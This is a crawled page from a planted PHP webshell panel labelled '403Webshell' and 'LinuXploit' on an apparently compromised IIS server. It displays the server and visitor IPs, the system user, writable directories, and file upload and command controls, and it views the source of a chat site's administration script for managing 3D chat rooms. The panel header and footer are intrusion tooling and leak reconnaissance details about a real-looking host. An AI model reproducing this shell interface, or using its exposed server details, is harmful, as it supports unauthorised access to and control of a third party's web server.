403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/administration/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/administration/3dchat_rooms.php
<?php
/* (C) Websplosion LLC, 2001-2021

IMPORTANT: This is a commercial software product
and any kind of using it must agree to the Websplosion's license agreement.
It can be found at http://www.chameleonsocial.com/license.doc

This notice may not be removed from the source code. */

include("../_include/core/administration_start.php");

class CAdmin3Dchat extends CHtmlBlock
{

	function action()
	{
        $cmd = get_param('cmd', '');
        if ($cmd == 'update') {
            $order = get_param('order');
            $status = get_param('rooms_status');
            foreach ($order as $pos => $id) {
                $statusRoom = (isset($status[$id]) ) ? 1 : 0;
                DB::update('chat_room', array('status' => $statusRoom, 'position' => to_sql($pos, 'Number')), '`id` = ' . to_sql($id, 'Number'));
            }
            redirect('3dchat_rooms.php?action=saved');
        } elseif ($cmd == 'delete') {
            $urlFiles = Common::getOption('url_files', 'path');
            $items = get_param('item');
            if ($items != '') {
                $items =  explode(',', $items);
                foreach ($items as $id) {
                    $filename = "{$urlFiles}3dchat/{$id}.jpg";
                    Common::saveFileSize($filename, false);
                    unlink($filename);
                    DB::execute('DELETE FROM `chat_line` WHERE `room` = ' . to_sql($id, 'Number'));
                    DB::execute('DELETE FROM `chat_chair` WHERE `room` = ' . to_sql($id, 'Number'));
                    DB::execute('DELETE FROM `chat_room` WHERE `id` = ' . to_sql($id, 'Number'));
                }
            }
			redirect('3dchat_rooms.php?action=delete');
        }
	}

	function parseBlock(&$html)
	{
		global $g;
		global $l;

		$lang = str_replace($g['path']['dir_lang'] . "main/", '', $g['lang']['main']);
		$lang = trim($lang, '/');

		$page = l('page');
		$page = str_replace('{lang}', $lang, $page);
		$html->setvar('page', $page);

        $rooms = DB::all('SELECT * FROM `chat_room` ORDER BY `position`');
        if (count($rooms)) {
            foreach ($rooms as $room) {
                $html->setvar('room_key', $room['id']);
                if ($room['status']) {
                    $html->setvar('checked', 'checked');
                } else {
                    $html->setvar('checked', '');
                }
                $html->setvar('id', $room['id']);
                $html->setvar('name', $room['name']);
                $html->parse('room_item', true);
            }
            $html->parse('rooms');
        } else {
            $html->parse('no_rooms');
        }
		parent::parseBlock($html);
	}
}

$page = new CAdmin3Dchat("", $g['tmpl']['dir_tmpl_administration'] . "3dchat_rooms.html");
$header = new CAdminHeader("header", $g['tmpl']['dir_tmpl_administration'] . "_header.html");
$page->add($header);
$footer = new CAdminFooter("footer", $g['tmpl']['dir_tmpl_administration'] . "_footer.html");
$page->add($footer);

$page->add(new CAdminPageMenu3DChat());

include("../_include/core/administration_close.php");

Youez - 2016 - github.com/yon3zu
LinuXploit